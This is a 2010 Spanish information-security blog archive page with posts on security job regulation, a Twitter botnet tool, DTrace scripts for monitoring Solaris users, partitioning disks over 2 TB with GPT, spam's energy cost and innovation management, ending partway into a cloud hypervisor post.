Habilitaciones, titulaciones… y todo lo demás

14 de junio de 2010 Por

Leía esta mañana en BELT una noticia que hacía referencia a la falta de habilitación profesional del Director de Seguridad del Barça: esto es, no tiene un TIP en vigor que lo habilite como Director de Seguridad por el Ministerio del Interior. En España, las figuras contempladas en el ámbito de la seguridad privada vienen definidas en la Ley 23/1992, de 30 de julio, de Seguridad Privada (LSP), y entre ellas encontramos al Director de Seguridad, al Jefe de Seguridad, al Escolta Privado o al Guarda Particular del Campo, por citar unas cuantas… todo lo que se salga de ahí, no está reconocido a día de hoy en España. Caso aparte es cómo las empresas de seguridad, sobre todo las que trabajan -o trabajamos- principalmente en seguridad de la información, denominen a su personal: CISO, CSO, CRO… son denominaciones que se utilizan con mayor o menor fortuna en cada caso, pero que desde luego no están oficialmente contempladas (ojo, hasta donde yo sé, y que alguien me corrija si me equivoco). Debate aparte es si es lícito, o ético, que una empresa utilice para su personal cargos que se corresponden con titulaciones oficiales si dicho personal carece de éstas, argumentando siempre que se trata de responsabilidades internas en la organización, no de atribuciones reconocidas oficialmente.

Más allá del hecho de que el Director de Seguridad del Barça tenga o no la habilitación correspondiente, esta noticia viene a plantearnos algunas cuestiones. La primera es relativa a la (necesaria, IMHO) regularización del personal de seguridad; como hemos dicho, todo lo que se salga de la LSP en España no está reconocido, y no debemos olvidar que el negocio de la seguridad de la información al que se dedican -o nos dedicamos- muchas empresas no deja de ser Seguridad Privada… pero sin legislar. Para ser Vigilante de Seguridad o Escolta Privado debes poseer una habilitación, pero para ser técnico de, consultor de o responsable de, no necesitamos nada… Volvemos a insistir en cosas ya comentadas en este mismo blog: ¿no sería necesario que se ampliaran las figuras del personal de seguridad reconocidas en la Ley de Seguridad Privada? Esta ley no se ha movido significativamente desde hace dieciocho años -una eternidad si hablamos de seguridad-, por lo que muchos creemos que ya va siendo hora de que se revise la ley y podamos empezar a hablar de otras figuras, como comentaba en mi post sobre la Ley Ómnibus. Así, todos tendríamos claro cuáles son las figuras oficialmente reconocidas con nuestra perspectiva actual de seguridad (convergencia, PIC, etc.), y quién está capacitado para dirigir un departamento de seguridad, para pertenecer a él o simplemente para desarrollar ciertos trabajos dentro del ámbito de la seguridad privada… más allá de la vertiente “clásica”.

Otra cuestión es qué pasa actualmente con estos puestos de seguridad privada “no oficial”… se trata de roles tan habituales que nadie se plantea sus implicaciones, pero lo cierto es que únicamente están reconocidos dentro de una organización, no más alla; un Director de Seguridad o un Ingeniero en Informática es eso mismo aquí y en la China Popular (como diría alguien), mientras que un “Ingeniero de Seguridad Perimetral” o un “Responsable de Riesgos” no tienen sentido fuera de la organización que les ha asignado esa categoría. Volvemos al tema de las atribuciones profesionales, al quién puede hacer qué; “Director de Seguridad” es una habilitación propia del Ministerio del Interior, mientras que “Director de Seguridad de la Información” -el famoso CISO-, o “Consultor de Seguridad” no es ninguna titulación oficial, con lo que cualquiera puede adjudicarse este papel en su tarjeta de visita… De nuevo lo de siempre: ¿quién puede firmar una auditoría? ¿quién puede dirigir un departamento de seguridad que trabaje en protección de la información? Ahora mismo no existe regulación alguna más alla de la LSP (que por supuesto no toca seguridad de la información como tal), por lo que cada organización hace de su capa un sayo; yo puedo decir que tal persona es Técnico de Seguridad, Consultor de Seguridad o Ingeniero Jefe de Seguridad… ¿y? Sólo dependerá del buen criterio -o del mal criterio- de cada empresa el titulito que se asigne a su personal de seguridad…

Creo que una regulación del personal de seguridad sería muy conveniente tanto para nuestra profesión como para nuestros clientes, que por fin podrían saber quién les puede realizar determinados proyectos o prestar ciertos servicios, y en base a qué; y por supuesto, si llegamos al punto en que el personal de seguridad se regula correctamente más allá de la seguridad tradicional, no olvidemos que dicho personal tendrá una serie de obligaciones y responsabilidades -no como sucede ahora en seguridad de la información-; en el momento en el que alguien puede retirarme mi habilitación como Director de Seguridad si hago mal mi trabajo, impidiéndome desempeñar ese puesto en un futuro, me pensaré dos veces el entregar un informe o el resultado de un análisis de riesgos, por poner un ejemplo.

Para acabar, un último apunte: no empecemos ahora con que si para dirigir, auditar o implantar hace falta un CISSP, un SANS, un CISA, un CISO o un CASI, que me entra la risa… estas -y otras- certificaciones son títulos de una “academia” concreta (ISACA, ISC2, SANS…), y por muy reconocidos que estén o dejen de estar, hasta donde yo sé no son oficiales, al menos de momento; otra cosa es si demuestran o no conocimiento, o simplemente demuestran tiempo y dinero… pero para empezar a discutir quién puede hacer qué en seguridad, prefiero hacerlo por titulaciones oficiales o por habilitaciones propias del Ministerio del Interior, nos gusten más o menos…

Ataques contra usuarios de Twitter

11 de junio de 2010 Por

Kaspersky Lab ha alertado a los usuarios de Twitter sobre una herramienta que están usando los criminales cibernéticos para crear botnets que se controlan a través de Twitter. Según ciertas publicaciones (TechnologyReview, FaqMac y otros), miles de cuentas de Twitter hackeadas a la venta en foros forman un nuevo mercado negro dentro de la ciberdelincuencia. Las cuentas se ofrecen por lotes a menos de 200 dólares, dependiendo del número de seguidores que tengan.

El principal objetivo de los compradores, en la mayoría de casos, es vender falsos antivirus (Rogueware) a través de los tweets enviados por estas cuentas; el hecho de hacer clic en en enlace de un tweet hackeado infecta al equipo del usuario con la publicidad de un producto de antivirus falso. La infección provoca una notificación emergente que anuncia que el equipo está infectado y ofrece una versión completa del falso antivirus por unos 50 dólares (o más) que te asegura que desinfectará el equipo en cuestión, y se estima que 1 de cada 100 personas probablemente paguen esa cantidad. Con que sólo un tweet hackeado tenga éxito, podría tener graves repercusiones si procede de un usuario de confianza (generalmente, entre el 10-20% de los usuarios hacen clic sobre un enlace enviado por una fuente de confianza). Twitter tiene más de 75 millones de usuarios, de los cuales entre unos 10-15 millones envían tweets regularmente. Si por ejemplo simplemente sólo un 1% de esos 75 millones de miembros se infectara, y que de ese 1% de usuarios infectados, un 1% creyera en el falso antivirus y pagara por su adquisición, supondría un fraude de unos 7500 dólares. Este tipo de botnets también se usa para distribuir spam o realizar ataques de denegación de servicio, entre otras cosas.

“La técnica de robar credenciales de cuentas y la publicación de enlaces maliciosos en Twitter es cada vez mas popular. (…) Los criminales cibernéticos están dándose cuenta de que se puede abusar de los sitios de redes sociales de manera muy eficiente y acorde con sus necesidades.”, afirma Costin Raiu, director de Kaspersky Lab.

La herramienta en cuestión es TwitterNET Builder, de la cual actualmente existen dos variantes conocidas. La primera, la original, utiliza órdenes maliciosas con nombres estáticos que pueden ejecutar funciones como descargar y ejecutar ficheros, realizar ataques de denegación de servicio, redirigir a otras páginas web o controlar la comunicación entre el equipo infectado y Twitter (http://sunbeltblog.blogspot.com/2010/05/diy-twitter-botnet-creator.html)). El equipo de http://sunbeltblog.blogspot.com notificó en su momento a Twitter, y curiosamente comentan en su blog que Twitter tardó sólo 13 minutos en contestarles (impresionante). La segunda, descubierta por Kaspersky Lab, es una ligera variación de la primera variante que permite al atacante especificar los nombres del comando, lo que hace más difícil identificar qué cuentas de Twitter se están utilizando para controlar las botnets.

“Este código malicioso no incluye ningún mecanismo de distribución y debe instalarse de forma manual en el ordenador del usuario víctima, pero puede ejecutarse cuando se combina con un ataque drive-by o con un gusano que se distribuye a través de una nueva vulnerabilidad”, afirma David Jacoby de Kaspersky Lab. Las cuentas se comprometen usando dos métodos: troyanos que roban las credenciales de Twitter directamente del usuario y estafas de phising que utilizan falsas peticiones de autorizaciones en sitios fraudulentos que imitan la página original. Una vez los atacantes tienen acceso a una cuenta, pueden comenzar un mailing malicioso, que aparentemente envía el legítimo dueño de la cuenta, o simplemente pueden vender la cuenta a otros para propósitos similares.

Para protegernos, dado que esta herramienta no tiene sus mecanismos de distribución propia y necesita ser descargada y ejecutada manualmente (por ejemplo, nos podría llegar como archivo adjunto en un correo electrónico, o como un archivo enviado a través de un cliente de mensajería instantánea), es importante estar atentos a la hora de ejecutar este tipo de archivos. También hay que tener cuidado de no infectarse a través de un ataque drive-by, que pueda explotar por ejemplo una vulnerabilidad en el navegador y es aconsejable (sobre todo si eres de los que no te fijas mucho donde haces clic :) que tengamos el antivirus actualizado y tengamos también instalados todos los parches de seguridad de los diferentes proveedores.

Monitorizando usuarios en Solaris

9 de junio de 2010 Por

Como llevo algunas noches de insomnio me ha dado por refrescar, tras algunos años olvidados en un cajón, aspectos de monitorización de usuarios en Solaris (Solaris 10, para ser exactos); y la verdad es que de lo que conocía -dejé de administrar máquinas Solaris “en serio” en su versión 7- a lo que me he encontrado en las nuevas versiones del operativo, hay alguna que otra diferencia que sorprende gratamente, y es que a pesar de que ahora sea un producto de Oracle, Solaris sigue siendo Solaris :)

Como siempre, para generar trazas “en serio” de la actividad de los usuarios podemos utilizar el Basic Security Module, habilitado mediante bsmconv(1M) y que nos dirá hasta qué usuario pestañea demasiado delante de la consola :) ¿Problemas? Alguno que otro… para empezar, requerimos reiniciar el sistema, cosa que ya de por sí a nadie le gusta mucho… y para continuar, tenemos el problema histórico del volumen de datos que generamos: por muy bien que configuremos el módulo de auditoría, incluso si lo hacemos por usuario, la cantidad de registros que se almacenan en la máquina no deja de ser considerable… y lo peor de todo: la marcha atrás tras habilitar BSM en nuestro sistema implica de nuevo detener servicios (la orden bsmunconv hay que lanzarla en runlevel 1).

Aunque BSM es la solución correcta y definitiva si necesitamos un registro de auditoría al detalle, me ha sorprendido en Solaris 10 DTrace, un framework que permite monitorizar en tiempo real y sin parada de sistema determinados aspectos tanto del núcleo como del espacio de usuario; este framework incorpora un lenguaje de programación propio (“D”), que nos permite registrar, de forma sencilla, actividad en el sistema de cara a detectar problemas, a “tunear”, o simplemente a monitorizar determinada actividad en la máquina (accesos a un fichero, cambios en inodos, etc.). Por supuesto, para esto último no es tan completo como BSM -que insisto, es la solución correcta-, pero nos puede servir para sacarnos de más de un apuro en cuanto a conocer qué hacen nuestros usuarios.

Un ejemplo de monitorización sencilla: ¿qué órdenes ejecuta un determinado usuario? Mediante dtrace(1M), es trivial obtener esta información: ponemos “vigilantes”, generadores de información, en las llamadas al sistema exec() y familia, y la condición de que el UID del usuario que usa estas llamadas – que pasaremos como argumento al programa- sea uno en concreto; si esto se cumple, imprimimos la información que nos interesa:

# cat t.d
syscall::exec:return, syscall::exece:return
/ uid==$1 /
{
printf("%s %-20Y %S\n", probefunc, walltimestamp, curpsinfo->pr_psargs);
}
# dtrace -s prueba.d 100
dtrace: script 'prueba.d' matched 2 probes
CPU ID FUNCTION:NAME
0 108 exece:return exece 2010 Jun 9 18:54:17 ls
0 108 exece:return exece 2010 Jun 9 18:54:28 more prueba.d
#

Seguro que el código se puede mejorar, ya lo sé :) Más cosas que nos pueden interesar de la actividad de un usuario: archivos abiertos, conexiones de red…todo esto es bastante sencillo obtenerlo mediante dtrace(1M), sus probes y las condiciones adecuadas; podemos poner todo junto, y en bonito (para que nos muestre la información más legible, básicamente) en un script que invocaremos desde línea de órdenes:

# cat luser.d
#pragma D option quiet
/*
* Ejecucion de ordenes
*/
syscall::exec:return, syscall::exece:return
/ uid==$1 /
{
printf("%s %-20Y %S\n", probefunc, walltimestamp, curpsinfo->pr_psargs);
}
/*
* Acceso a FS
*/
syscall::open:entry, syscall::creat:entry,
syscall::open64:entry, syscall::creat64:entry,
syscall::unlink:entry, syscall::rename:entry
/ uid==$1 && strstr(stringof(copyinstr(arg0)), "/proc") == NULL /
/* Nos quitamos de la condicion el acceso a procfs */
{
printf("%s %Y %s\n", probefunc, walltimestamp, stringof(copyinstr(arg0)));
}
/*
* Acceso a red / TCP
*/
::tcp_send_data:entry
{
self->lport=((unsigned int) args[0]->tcp_tcph->th_lport[0] < <8) + (unsigned int) args[0]->tcp_tcph->th_lport[1];
dig1=(unsigned int) args[0]->tcp_tcph->th_fport[0];
dig2=(unsigned int) args[0]->tcp_tcph->th_fport[1];
dig1=dig1< <8; self->rport=((unsigned int) args[0]->tcp_tcph->th_fport[0] < <8) + (unsigned int) args[0]->tcp_tcph->th_fport[1];
srcaddr=(unsigned int) (args[0]->tcp_ipha->ipha_src);
dstaddr=(unsigned int) (args[0]->tcp_ipha->ipha_dst);
self->octect[0]=srcaddr>>3*8 & 0xFF;
self->octect[1]=srcaddr>>2*8 & 0xFF;
self->octect[2]=srcaddr>>1*8 & 0xFF;
self->octect[3]=srcaddr>>0*8 & 0xFF;
self->octect[4]=dstaddr>>3*8 & 0xFF;
self->octect[5]=dstaddr>>2*8 & 0xFF;
self->octect[6]=dstaddr>>1*8 & 0xFF;
self->octect[7]=dstaddr>>0*8 & 0xFF;
self->ok=1;
}
::tcp_send_data:entry
/ self->ok && uid==$1 /
{
printf("%s %Y %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n", probefunc,walltimestamp,self->octect[0],self->octect[1],self->octect[2],self->octect[3], self->lport,self->octect[4],self->octect[5],self->octect[6],self->octect[7],self->rport);
self->ok=0;
}
#

Al invocarlo mediante dtrace(1M), la salida que obtendremos será similar a la siguiente -con muchos más datos que habrá que filtrar, no estoy ahora para pulir el código que, insisto, es un simple ejemplo y tendrá N fallos y mejoras-):

tcp_send_data 2010 Jun 9 19:00:37 192.168.1.2:22 -> 192.168.1.5:37963
tcp_send_data 2010 Jun 9 19:00:38 192.168.1.2:22 -> 192.168.1.5:37964
tcp_send_data 2010 Jun 9 19:00:38 192.168.1.2:22 -> 192.168.1.5:37963
exece 2010 Jun 9 19:00:38 cat /home/toni/fbsd-como\0
open 2010 Jun 9 19:00:38 /var/ld/ld.config
open 2010 Jun 9 19:00:38 /lib/libc.so.1
open 2010 Jun 9 19:00:38 /platform/SUNW,Ultra-5_10/lib/libc_psr.so.1

Así, mediante dtrace(1M), y de una forma muy sencilla, estamos en disposición de monitorizar muchísimas acciones -en este caso de un usuario concreto- que pueden servirnos para incrementar considerablemente la seguridad de nuestros sistemas Solaris desde el punto de vista de monitorización de la actividad (aparte de para resolver algún problema en las máquinas). Por supuesto, con un ratito de búsqueda en Google tendremos acceso a un montón de ejemplos de programas en D que podemos adaptar y aprovechar para crear un luser.d en condiciones :)

En definitiva, dtrace(1M) es una herramienta que no conocía más que de oídas y que, a poco que he empezado a tocarla, me ha sorprendido muy gratamente (tanto por su capacidad como por su sencillez) para la monitorización de ciertas actividades concretas del sistema o de nuestros usuarios, sin necesidad de meternos en el “gran” BSM… además, puede ser muy útil en aquellos casos en los que BSM no esté habilitado de antemano, por ejemplo si nos enfrentamos a un análisis forense de una Solaris comprometida… en fin, que seguiremos informando :) Por cierto, ¿alguien se anima a explicarnos algo similar en Linux, Windows, AIX, etc.? Sé que Dtrace se ha migrado -o se está migrando- a BSD, pero no sé si tenemos algo de capacidades similares en otros entornos (es que ya no soy técnico :)

Publicado el borrador del RD de Protección de Infraestructuras Críticas

7 de junio de 2010 Por

Fue allá por el 92 cuando la aparición de la LORTAD, que evolucionó hasta la actual LOPD, marcó un antes y un después en el marco de la seguridad y la protección de datos. Actualmente, están surgiendo otras iniciativas de referencia que claman por convertirse en otro punto de inflexión en materia de seguridad en España.

La primera de ellas la vimos nada más empezar el año con la aparición del Esquema Nacional de Seguridad, el cual se propuso como objetivo el establecer las condiciones y medidas necesarias para garantizar la seguridad de los sistemas, los datos, las comunicaciones, y los servicios electrónicos en la Administración Pública.

Ahora nos encontramos con otro hito, publicándose hace pocas algunas semanas el borrador del RD de Protección de Infraestructuras Críticas. Este nuevo Real Decreto que se aproxima, nace con el propósito de regular la protección de las infraestructuras que presten servicios públicos esenciales para la sociedad frente a ataques deliberados de todo tipo, poniendo especial interés en el campo del terrorismo, mediante la definición y el desarrollo de un sistema y unos procedimientos que abarcan a todos los sectores públicos y privados afectados.

Echándole un vistazo a la norma nos encontramos, como principales pilares para la gestión de la misma, la definición de un catálogo en el que se identifican, para cada sector, aquellas infraestructuras críticas para la sociedad, que como define la norma son aquellas cuyo funcionamiento resulta indispensable y que su destrucción o interrupción supondría un grave impacto sobre los servicios públicos esenciales. Éstas se clasifican, según su ámbito, en Infraestructuras Críticas (IC) o Infraestructuras Críticas Europeas (ICE), si afectan a dos o más estados miembro de la Unión Europea. Así mismo, para determinar la criticidad de estas infraestructuras, se valoran principalmente en base a tres parámetros: el número potencial de víctimas que se pueda producir, el impacto económico y el impacto público.

Otro de los pilares con los que nos encontramos es el diseño de un plan estratégico que contenga medidas de prevención y protección eficaces contra las posibles amenazas hacia tales infraestructuras críticas. Como toda estrategia de seguridad, ésta parte en primer lugar de un análisis de riesgos, en el que se evalúan las amenazas y vulnerabilidades, seguido del análisis de las fortalezas y debilidades frente a los mismos. Dicho análisis permite determinar cuáles son las prioridades y la capacidad para, con ello, coordinar y planificar los esfuerzos necesarios del Gobierno, las Administraciones Públicas y el sector privado para hacerlos frente.

En cuanto a las figuras responsables, surge el Centro Nacional para la Protección de Infraestructuras Críticas (CNPIC), como órgano director y coordinador, y que depende únicamente de la Secretaría de Estado de Seguridad. Así mismo, detalla todas aquellas relaciones y obligaciones de los diferentes actores involucrados.

Como punto destacado, cabe mencionar la especial atención que este Real Decreto presta hacia las tecnologías de la información, reconociendo la fuerte dependencia actual, tanto para su gestión como por su vinculación con otros sistemas. De la misma forma, se aboca por la implantación de las medidas de seguridad necesarias para garantizar la confidencialidad, integridad y disponibilidad de la información en los sistemas y las comunicaciones (véase al respecto el artículo 26, Seguridad en las comunicaciones).

No obstante, tengo que decir que esta norma cae un poco en la ambigüedad en cuanto a medidas técnicas se refiere, dejando dicho criterio al Centro Criptológico Nacional, como órgano encargado de certificar y acreditar la seguridad de los sistemas de información y comunicaciones. Veremos con el paso de los días como queda la versión final de esta norma y también cómo afecta la situación actual de crisis en el desarrollo e implantación de la misma.

Los problemas actuales con discos de más de 2 Terabyte

3 de junio de 2010 Por

Recientemente decidí adquirir para casa varios discos duros y una controladora raid por hardware con objetivo de poder almacenar de forma segura y duradera las copias de mis sistemas. Era la primera vez que montaba un entorno donde una sola partición ocupara un tamaño mayor de 2 TeraBytes (1 TB = 1024 GB) sin emplear LVM o MDADM. Cual fue mi sorpresa al comprobar que me era imposible crear una partición más grande de 2TB; me recordaba a los tiempos donde no se podían crear particiones de más de 4GB. Qué lejos queda, ¿verdad?

Buscando un poco de información, en especial en NixCraft y el aporte de mi compañero Raúl Rodriguez, descubrí que el origen de todos los problemas era el tipo de tabla de partición que empleaba (MS-DOS o MBR tradicional), ya que ésta no soporta más de 2 TB limitada por los 512 byte del tamaño del bloque. Para soportar particiones mayores se requiere emplear GUID Partition Table (GPT en adelante) que emplea adicionalmente el final el sector del disco para soportar particiones de mayor tamaño. Pero tengan cuidado, para complicar más las cosas GPT sólo funciona con BIOS que soporten EFI (Extensible Firmware Interface) como los Apple, y no en BIOS clásicas, por lo que si emplean discos de más de 2 TB únicamente podrán emplearlos como almacenamiento y no como arranque.

Veamos a continuación un ejemplo de cómo se migra de la tabla de partición MS-DOS a una tabla GPT en entornos Linux. Para ellos usaremos mi máquina nombrada con anterioridad, la cual dispone de un dispositivo físico (/dev/sdb) de 4.4 TB, resultado de un Raid5 por hardware de 4 discos duros de 1.5 TB:

# parted /dev/sdb
GNU Parted 1.9.0
Usando /dev/sdb
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) print all
Model: Adaptec RAID (scsi)
Disk /dev/sdb: 4494GB
Sector size (logical/physical): 512B/512B
Partition Table: msdos

Podemos observar que se nos informa que la “Partition Table” es de tipo msdos, y por tanto no soportará discos de más de 2 TB. Veamos qué ocurre cuando intentamos crear una partición de más de 2 TB en una tabla de particiones tipo MS-DOS: 

(parted) mkpart primary 0 4494GB
Error: partition length of 8776550412 sectors exceeds the 
msdos-partition-table-imposed maximum of 4294967295

Como vemos, no nos deja crear particiones de más de 2 TB. Para poder usarlo debemos cambiar el tipo de tabla de partición a GPT:

(parted) mklabel gpt
Aviso: The existing disk label on /dev/sdb will be destroyed and 
all data on this disk will be lost. Do you want to continue?
Sí/Yes/No? YES
(parted) mkpart primary 0 4494GB
(parted) print /dev/sdb
Model: Adaptec RAID (scsi)
Disk /dev/sdb: 4494GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Numero   Inicio   Fin   Tamaño   Sistema de ficheros   Nombre   Banderas
1        17,4kB  4494GB 4494GB   primary

Al cambiar a tipo GPT ya nos permite crear particiones de más de 2TB y en nuestro caso una partición de 4494 GB. El siguiente paso será formatear la partición, donde nos encontraremos de nuevo con varias limitaciones. En entornos de 32 bits el sistema de fichero ext3 solo tiene soporte hasta 4 TB, en cambio para entornos de 64 bits como son X86_64 o entornos de 32 bits con el LFS habilitado en el núcleo el límite es de 32TB. Reiserfs tiene un máximo en ambos casos de 16 TB.

Para el ejemplo usaremos ext3, tarda un “poquitín”:

# mkfs.ext3 /dev/sdb1
mke2fs 1.41.9 (22-Aug-2009)
ext2fs_check_if_mount: Can't check if filesystem is mounted due to 
missing mtab file mientras se determinaba si /dev/sdb1 está montado.
Etiqueta del sistema de ficheros=
Tipo de SO: Linux
Tamaño del bloque=4096 (bitácora=2)
Tamaño del fragmento=4096 (bitácora=2)
274268160 nodos-i, 1097070071 bloques
54853503 bloques (5.00%) reservados para el superusuario
Primer bloque de datos=0
Número máximo de bloques del sistema de ficheros=4294967296
33480 bloque de grupos
32768 bloques por grupo, 32768 fragmentos por grupo
8192 nodos-i por grupo
Respaldo del superbloque guardado en los bloques:
     32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
     4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968,
     102400000, 214990848, 512000000, 550731776, 644972544
Escribiendo las tablas de nodos-i: 557/33480

Con esto tendríamos listo nuestro disco de 4 TB. Para finalizar la entrada, indicarles que el tamaño máximo soportado por GUID Partition Table es de 256 TB, lo que probablemente les parezca mucho. Claro que rambién lo eran en su día 4GB o 2 TB…

El efecto ambiental del Spam

1 de junio de 2010 Por

No cabe duda de que el ordenador se ha convertido en una de las principales herramientas de trabajo en muchos hogares, muchas empresas y en la administración pública. Como tal, es hoy en día en una fuente importante de consumo energético. Si lo usamos de una manera adecuada seremos capaces de ahorrar energía, y no sólo desconectando el monitor cuando no lo usamos, apagando el equipo, poniéndolo en hibernación, en bajo consumo… o controlando el calor que emite. Hay otro factor importante que a veces se nos pasa por alto, pero que es una fuente de consumo energético muy importante: el correo spam.

Según el estudio “La huella de carbono del Spam” realizado por ICF International y publicado por la compañía de seguridad informática McAfee Inc. tomando como base datos de 2008, los correos electrónicos no deseados generan una cantidad de emisiones de efecto invernadero equivalente a la originada por 3.1 millones de vehículos. Esto supone un gasto energético de 33.000 millones de kilovatios por hora (KWh) en un año, cantidad suficiente para abastecer unos 2.4 millones de hogares en Estados Unidos.

Debido a que el 80% del correo no deseado termina siendo ignorado y borrado, esta energía es una energía totalmente desaprovechada. Un filtrado antispam ahorraría 135 TWh de electricidad al año, ahorro equivalente a retirar 13 millones de coches en circulación. Si todos los buzones de correo entrante estuvieran protegidos con un filtro antispam, empresas y usuarios particulares podrían reducir la energía que actualmente consume el spam en cerca de un 75%. El 80% del consumo energético asociado al spam es producido cuando los usuarios eliminan spam manualmente y buscan correo electrónico legítimo (falsos positivos). Filtrar spam solo representa el 16% del consumo energético de ese 80%.

Pero, si bien filtrar el spam es una correcta decisión, aún más beneficioso sería eliminarlo en origen. Cuando en 2008 la empresa estadounidense McColo Inc, uno de los principales generadores de spam fue desconectada de Internet, la energía ahorrada equivalió a 2.2 millones de coches en circulación; cada mensaje de spam no enviado implicó la correspondiente reducción de consumo de electricidad y, por lo tanto, de emisiones de dióxido de carbono. Normalmente la atención sobre el spam siempre ha estado centrada en sus repercusiones económicas, además de colapsar el ancho de banda, bajar la productividad de las empresas, sobrecargar los servidores de emails, y generar grandes pérdidas de tiempo, sin entrar en las estafas como el phising, por ejemplo. Ahora además nos convencemos de que el spam es una amenaza para el medio ambiente.

En el informe citado se analiza la energía consumida a nivel mundial en crear ,almacenar, ver y filtrar spam. También calcula las emisiones de GEI (Gases de Efecto Invernadero) que provoca este consumo energético, principalmente por el uso de combustibles fósiles (las fuentes mas costosas y perjudiciales) para producir electricidad. Las fuentes de emisiones que contribuyen de forma decisiva a la huella de carbono del spam son:

  • Recopilación de direcciones.
  • Creación de campañas de spam.
  • Envío de spam desde equipos zombis y servidores de correo.
  • Transmisión de spam de remitente a destinatario a través de Internet.
  • Procesamiento de spam en servidores de correo entrante.
  • Almacenamiento de mensajes.
  • Visualización y eliminación de spam.
  • Filtrado de spam y búsqueda de falsos positivos.

En la situación que nos encontramos, donde ahorrar energía ha pasado a ser una de las primeras acciones para solucionar el problema del colapso energético, no podemos pasar por alto este consumo ‘fantasma’ de energía eléctrica; en el artículo “El consumo fantasma, una forma no sostenible de emplear la energía eléctrica se muestran algunas formas de reducir el consumo fantasma de energía eléctrica.

Acabaré diciendo que este es, además, un estupendo argumento para ofrecer a todos esos aficionados a las cadenas de correo que parecen no responder a argumentos racionales de carácter tecnológico.

Blue Ocean Security

31 de mayo de 2010 Por

Seguramente habrán oído hablar del término “Océano Azul” empleado en marketing. W. Chan Kim y Reneé Mauborgne desarrollan la teoría en el libro titulado “Blue Ocean Strategy”. Grosso modo, su significado hace referencia a la necesidad de dejar a un lado la competencia destructiva entre las empresas y considerar que, para alcanzar el éxito (un éxito duradero y continuo), hay que ampliar horizontes generando valor a través de la innovación.

Llamamos “Océano Rojo” a la situación de mercado opuesta, la más común. Representa a aquellas industrias que ya se encuentran establecidas. Mercados maduros cuyas reglas de juego son conocidas, y en los que existe estandarización de procesos y prácticas, y el crecimiento sólo es posible a través del debilitamiento del poder de la competencia.

Cito algunos ejemplos para situarnos en contexto:

  • La creación del Walkman por Sony revolucionó el mercado: “la música va contigo sin necesidad de llevar grandes aparatos”.
  • El Cirque du Soleil (Circo del Sol) ha conseguido desmarcarse cambiando un espectáculo que se veía “estanco”. Ahora se basa en ofrecer el espectáculo a un público adulto incluyendo danza y teatro, precios altos, exclusividad…
  • Los “hoteles Formula 1” de la cadena francesa Accor. Su estrategia se centró en disminuir la inversión en aspectos poco valorados por el target como el diseño exterior del hotel, mientras se concentraron en aspectos como la limpieza, el silencio en los cuartos, la rapidez y el precio.
  • También se considera que Apple ha entrado en la estrategia Océano Azul con sus productos iPod, iPhone, y quizá ¿iPad?
  • … y mucho más reciente, el “boom” de Nestlé con su producto Nespresso.

Personalmente la estrategia del Océano Azul me parece, cuanto menos, interesante. Lo que suele ocurrir con estas ideas que rompen esquemas es que del papel a la práctica hay un buen salto. En este caso, la estrategia del Océano Azul toma la innovación como factor clave. En lo que resta de artículo, y una vez hechas las pertinentes presentaciones, me gustaría aplicar esos conceptos al marco de la seguridad. No pretendo sacarme de la chistera ese producto estrella que nos llevaría al éxito (¡ojalá lo tuviera!); mi objetivo es un tanto menos ambicioso pero por otra parte, mucho más cercano y aplicable en el día a día… y se trata de establecer métodos que nos hagan más eficientes a la hora de innovar. El enfoque que propongo toma los sistemas de gestión como herramienta guía en la búsqueda de ese Océano Azul.

Es posible que tras el párrafo anterior alguno de vosotros ya haya pensado: ¿Sistemas de gestión? ¿Por qué?

Bien, el motivo es que la carencia de pautas concretas para “ampliar horizontes generando valor a través de la innovación” deja ese Océano Azul lejos de nuestro alcance. Dicho esto, ¿disponemos de técnicas / métodos o herramientas para potenciar la Innovación? La innovación se aprecia en muchas ocasiones como un proceso único y carente de estructura, no obstante, es posible enmarcar las actividades propias de la I+D+i en dentro de un marco metodológico que sistematice el desarrollo de las mismas. Recordemos brevemente los sistemas de gestión más habituales y algunos de los beneficios que aportan:

  • Sistema de Gestión de la Calidad (SGC): Nos permite mantener e incrementar la calidad de nuestros productos o servicios, optimizar nuestros procesos, aumentar la satisfacción del cliente, etc. La norma ISO 9001 ofrece una guías sobre cómo diseñar dicho sistema.
  • Sistema de Gestión de Seguridad de la Información (SGSI): Establecer y comprender los requisitos de seguridad de la información en la organización, controlar y administrar los riesgos de seguridad… en definitiva, este sistema dotará a nuestra organización de la protección que necesita. En este caso, Las normas ISO 27001 y 27002 son muy útiles si se desea implantar un SGSI.

Llegado a este punto es dónde quiero introducir el Sistema de Gestión de la Innovación (SG I+D+i). ¿Su finalidad? “Ejercer de catalizador de la creatividad, generando ideas innovadoras, que nos permitan orientar nuestros desarrollos hacia ese Océano Azul.”

El Sistema de Gestión de Innovación (SG I+D+i) contribuirá a alcanzar los objetivos de la organización fomentando y potenciando las actividades de I+D+i, proporcionará una guía para la correcta gestión de los recursos dedicados a la innovación, aumentará la competitividad y del crecimiento empresarial, etc. Para ello, podemos partir de las indicaciones de la norma UNE 166002 como base para el diseñó de nuestro SG I+D+i.

Aprovecho para destacar los beneficios que puede aportar la integración de diversos sistemas de gestión ya que su sinergia nos permite obtener un valor añadido “extra”. Me explico. Disponer de un sistema de gestión de la calidad contribuirá a crear un entorno favorable que en el que desarrollar las actividades propias de la I+D+I. La revisión sistemática de los procesos y procedimientos del SGSI incrementarán la seguridad… y finalmente, obviando otras implicaciones, potenciar la innovación nos llevará a crear nuevos productos y a obtener mejoras en los existentes. Mejoras que producirán un impacto positivo en la seguridad de nuestros sistemas.

Antes de despedirme me gustaría matizar que cuando hablo de Seguridad, hablo, como es habitual en estos lares, de la Seguridad de la Información. De todos modos, y después de haber leído el texto, creo que sería igualmente aplicable a otros campos. Concluyo esta pequeña aportación, a mitad camino entre reflexión y brainstorming, animando a los lectores a buscar técnicas, métodos o herramientas que ayuden a encontrar alguno de estos Océanos azules.

Seguridad de la computación en la nube: el Hipervisor

28 de mayo de 2010 Por

Recientemente se ha publicado un informe de la Cloud Security Alliance en el que se destacan las principales amenazas o problemas de seguridad que se pueden encontrar en la utilización de la computación en la nube (también conocida por su sinónimo en inglés Cloud Computing). Como ustedes sabrán, la computación en la nube se basa en la externalización de toda la infraestructura utilizada por la empresa en sus procesos informáticos, de forma que un proveedor de servicios mantiene tanto el hardware como el software necesario, y proporciona al usuario un punto de acceso a toda esa infraestructura.

